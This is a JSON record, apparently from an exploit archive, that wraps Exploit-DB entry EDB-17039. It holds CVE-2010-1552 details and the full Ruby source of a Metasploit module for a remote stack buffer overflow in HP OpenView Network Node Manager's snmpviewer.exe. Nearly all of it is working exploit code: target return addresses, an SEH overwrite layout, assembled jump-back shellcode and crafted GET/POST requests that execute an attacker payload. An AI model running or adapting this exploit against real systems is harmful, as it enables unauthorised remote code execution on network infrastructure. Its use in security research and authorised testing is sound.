{"exploit":{"id":"EDB-17039","name":"HP OpenView Network Node Manager (OV NNM) - 'snmpviewer.exe' Remote Buffer Overflow (Metasploit)","description":"HP OpenView Network Node Manager (OV NNM) - 'snmpviewer.exe' Remote Buffer Overflow (Metasploit)","cves":["CVE-2010-1552"],"author":"Metasploit","published":"2011-03-23","platform":"windows","type":"remote","language":"Ruby","source":"exploit-db","sourceUrl":"https://www.exploit-db.com/exploits/17039","path":"exploits/windows/remote/17039.rb","revision":"8a926a9b85beb3bccd6e8016211fdb73e904b52b","filename":"EDB-17039.rb","vulnerabilities":[{"id":"CVE-2010-1552","state":"PUBLISHED","title":null,"titleSource":null,"description":"Stack-based buffer overflow in the doLoad function in snmpviewer.exe in HP OpenView Network Node Manager (OV NNM) 7.01, 7.51, and 7.53 allows remote attackers to execute arbitrary code via the act and app parameters.","descriptionSource":"CVE Program","descriptionUrl":"https://www.cve.org/CVERecord?id=CVE-2010-1552","cvss":{"version":"2.0","baseScore":10,"severity":"high","vectorString":"AV:N/AC:L/Au:N/C:C/I:C/A:C","source":"NVD","sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2010-1552"},"updatedAt":"2024-08-07T01:28:42.585Z","retrievedAt":"2026-11-27T08:09:56.319Z","stale":false,"error":null}],"imageUrl":"https://exploitbin.com/social/exploits/EDB-17039.png?v=2","url":"https://exploitbin.com/exploits/EDB-17039","downloadUrl":"https://exploitbin.com/api/v1/exploits/EDB-17039/download","codeUrl":"https://exploitbin.com/api/v1/exploits/EDB-17039/code","licenseUrl":"https://exploitbin.com/sources#exploit-db"},"code":"##\n# $Id: hp_nnm_snmpviewer_actapp.rb 12098 2011-03-23 15:47:20Z jduck $\n##\n\n##\n# This file is part of the Metasploit Framework and may be subject to\n# redistribution and commercial restrictions. Please see the Metasploit\n# Framework web site for more information on licensing and terms of use.\n# http://metasploit.com/framework/\n##\n\nrequire 'msf/core'\n\nclass Metasploit3 < Msf::Exploit::Remote\n\tRank = GreatRanking\n\n\tHttpFingerPrint = { :method => 'HEAD', :uri => '/OvCgi/snmpviewer.exe', :pattern => /Hewlett-Packard Development Company/ }\n\n\tinclude Msf::Exploit::Remote::HttpClient\n\tinclude Msf::Exploit::Seh\n\n\tdef initialize(info = {})\n\t\tsuper(update_info(info,\n\t\t\t'Name'           => 'HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow',\n\t\t\t'Description'    => %q{\n\t\t\t\t\tThis module exploits a stack buffer overflow in HP OpenView Network Node Manager 7.53\n\t\t\t\tprior to NNM_01203. By making a specially crafted HTTP request to the \"snmpviewer.exe\"\n\t\t\t\tCGI program, an attacker can cause a stack-based buffer overflow and execute arbitrary\n\t\t\t\tcode.\n\n\t\t\t\tThe vulnerable code lies within the a function within \"snmpviewer.exe\" with a\n\t\t\t\ttimestamp prior to April 7th, 2010. This vulnerability is triggerable via either a GET\n\t\t\t\tor POST request. The request must contain 'act' and 'app' parameters which, when\n\t\t\t\tcombined, total more than the 1024 byte stack buffer can hold.\n\n\t\t\t\tIt is important to note that this vulnerability must be exploited by overwriting SEH.\n\t\t\t\tWhile the saved return address can be smashed, a function call that occurs before\n\t\t\t\tthe function returns calls \"exit\".\n\t\t\t} ,\n\t\t\t'Author'         =>\n\t\t\t\t[\n\t\t\t\t\t'jduck'   # Metasploit module\n\t\t\t\t],\n\t\t\t'License'        => MSF_LICENSE,\n\t\t\t'Version'        => '$Revision: 12098 $',\n\t\t\t'References'     =>\n\t\t\t\t[\n\t\t\t\t\t[ 'CVE', '2010-1552' ],\n\t\t\t\t\t[ 'OSVDB', '64975' ],\n\t\t\t\t\t[ 'BID', '40068' ],\n\t\t\t\t\t[ 'URL', 'http://www.zerodayinitiative.com/advisories/ZDI-10-083/' ],\n\t\t\t\t\t[ 'URL', 'http://h20000.www2.hp.com/bizsupport/TechSupport/Document.jsp?objectID=c02153379' ]\n\t\t\t\t],\n\t\t\t'DefaultOptions' =>\n\t\t\t\t{\n\t\t\t\t\t'EXITFUNC' => 'process',\n\t\t\t\t},\n\t\t\t'Privileged'     => false,\n\t\t\t'Payload'        =>\n\t\t\t\t{\n\t\t\t\t\t'Space'    => 1024, # 1024 byte buffer..\n\t\t\t\t\t'BadChars' =>\n\t\t\t\t\t\t# Not sure why this one has a different set of bad chars...\n\t\t\t\t\t\t(\n\t\t\t\t\t\t\t(0x00..0x08).to_a + (0x0b..0x1f).to_a +\n\t\t\t\t\t\t\t[ 0x21, 0x26, 0x3c, 0x3e, 0x5b, 0x5d, 0x5e, 0x60, 0x7e, 0x7f ]\n\t\t\t\t\t\t).pack('C*'),\n\t\t\t\t\t'DisableNops' => true,\n\t\t\t\t\t# Manually use FPU to get EIP into ECX\n\t\t\t\t\t'PrependEncoder' => \"\\x89\\xe2\\xdb\\xdb\\xd9\\x72\\xf4\\x59\\x83\\xe9\\xf7\",\n\t\t\t\t\t'EncoderOptions' => { 'BufferRegister' => 'ecx' },\n\t\t\t\t},\n\t\t\t'Platform'       => 'win',\n\t\t\t'Targets'        =>\n\t\t\t\t[\n\t\t\t\t\t[ 'HP OpenView Network Node Manager 7.53 w/NNM_01201',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Ret'     => 0x5a238ba7, # pop edx/pop ebp/ret - in ovsnmp.dll v1.30.10.9166\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t[ 'HP OpenView Network Node Manager 7.53 (Windows 2003)',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Ret'     => 0x71c069dd, # pop edx/pop ecx/ret - in ws2_32.dll v5.2.3790.3959\n\t\t\t\t\t\t}\n\t\t\t\t\t],\n\t\t\t\t\t[ 'Debug Target',\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\t'Ret'     => 0xdeadbeef, # crasher\n\t\t\t\t\t\t}\n\t\t\t\t\t]\n\t\t\t\t],\n\t\t\t'DefaultTarget'  => 0,\n\t\t\t'DisclosureDate' => 'May 11 2010'))\n\n\t\tregister_options(\n\t\t\t[\n\t\t\t\tOpt::RPORT(80),\n\t\t\t], self.class)\n\tend\n\n\tdef exploit\n\n\t\tprint_status(\"Trying target #{target.name}...\")\n\n\t\tcgi = '/OvCgi/snmpviewer.exe'\n\n\t\t# \"ins\" must be \"load\" or \"content\"\n\t\tins_ok = [ 'load', 'content' ]\n\t\tins = ins_ok[rand(ins_ok.length)]\n\n\t\tstart = 'The specified Application/Action name is not defined.<p>Application:\"'\n\t\t#middle = '\"<p>Action:\"'\n\n\t\tia32 = Metasm::Ia32.new\n\n\t\t# SEH\n\t\tseh_offset = 1192\n\t\tseh_frame = rand_text(8)\n\n\t\t# Jump back to the payload, after p/p/r jumps to us.\n\t\tdistance = seh_offset - start.length + seh_frame.length # dry run\n\t\tjmp_back = Metasm::Shellcode.assemble(ia32, \"jmp $-\" + distance.to_s).encode_string\n\t\tdistance = seh_offset - start.length - jmp_back.length\n\t\tdistance += 8 if ins == 'content'\n\t\tjmp_back = Metasm::Shellcode.assemble(ia32, \"jmp $-\" + distance.to_s).encode_string\n\n\t\t# A short jump back to the long jump back :)\n\t\tjmp_small = Metasm::Shellcode.assemble(ia32, \"jmp $-\" + jmp_back.length.to_s).encode_string\n\n\t\t# Fix up the SEH frame\n\t\tseh_frame[0,jmp_small.length] = jmp_small\n\t\tseh_frame[4,4] = [target.ret].pack('V')\n\n\t\t# Create the buffer\n\t\tbuf = ''\n\t\tbuf << payload.encoded\n\t\tpad = seh_offset - start.length - buf.length - jmp_back.length\n\t\tpad += 8 if ins == 'content'\n\t\tbuf << rand_text(pad)\n\t\tbuf << jmp_back\n\t\tbuf << seh_frame\n\n\t\tapp = buf\n\n\t\t# Force an exception writing off the end of the stack\n\t\taction = rand_text(1024)\n\n\t\t# Send the request\n\t\tif rand(2) > 0\n\t\t\tprint_status(\"Sending exploit via POST request (ins=#{ins})...\")\n\t\t\tres = send_request_cgi({\n\t\t\t\t'uri'\t\t  => cgi,\n\t\t\t\t'method'\t  => \"POST\",\n\t\t\t\t'vars_post' =>\n\t\t\t\t\t{\n\t\t\t\t\t\t'ins' => ins,\n\t\t\t\t\t\t'act' => action,\n\t\t\t\t\t\t'app' => app\n\t\t\t\t\t}\n\t\t\t}, 3)\n\t\telse\n\t\t\tprint_status(\"Sending exploit via GET request (ins=#{ins})...\")\n\t\t\tres = send_request_cgi({\n\t\t\t\t'uri'\t\t  => cgi,\n\t\t\t\t'method'\t  => \"GET\",\n\t\t\t\t'vars_get' =>\n\t\t\t\t\t{\n\t\t\t\t\t\t'ins' => ins,\n\t\t\t\t\t\t'act' => action,\n\t\t\t\t\t\t'app' => app\n\t\t\t\t\t}\n\t\t\t}, 3)\n\t\tend\n\n\t\tif res and res.code != 502\n\t\t\tprint_error(\"Eek! We weren't expecting a response, but we got one\")\n\t\t\tprint_status(res.inspect) if datastore['NNM_DEBUG']\n\t\tend\n\n\t\thandler\n\n\tend\n\n\tdef wfs_delay\n\t\t5\n\tend\n\nend","sha256":"6c344507cbb2d3bea4bb1377cbeebbdb4590eda95d870b28aea4e5c3779f8a62","bytes":5401,"fetchedAt":"2026-11-27T08:09:50.040Z","encoding":"utf-8 (display only; download retains original bytes)"}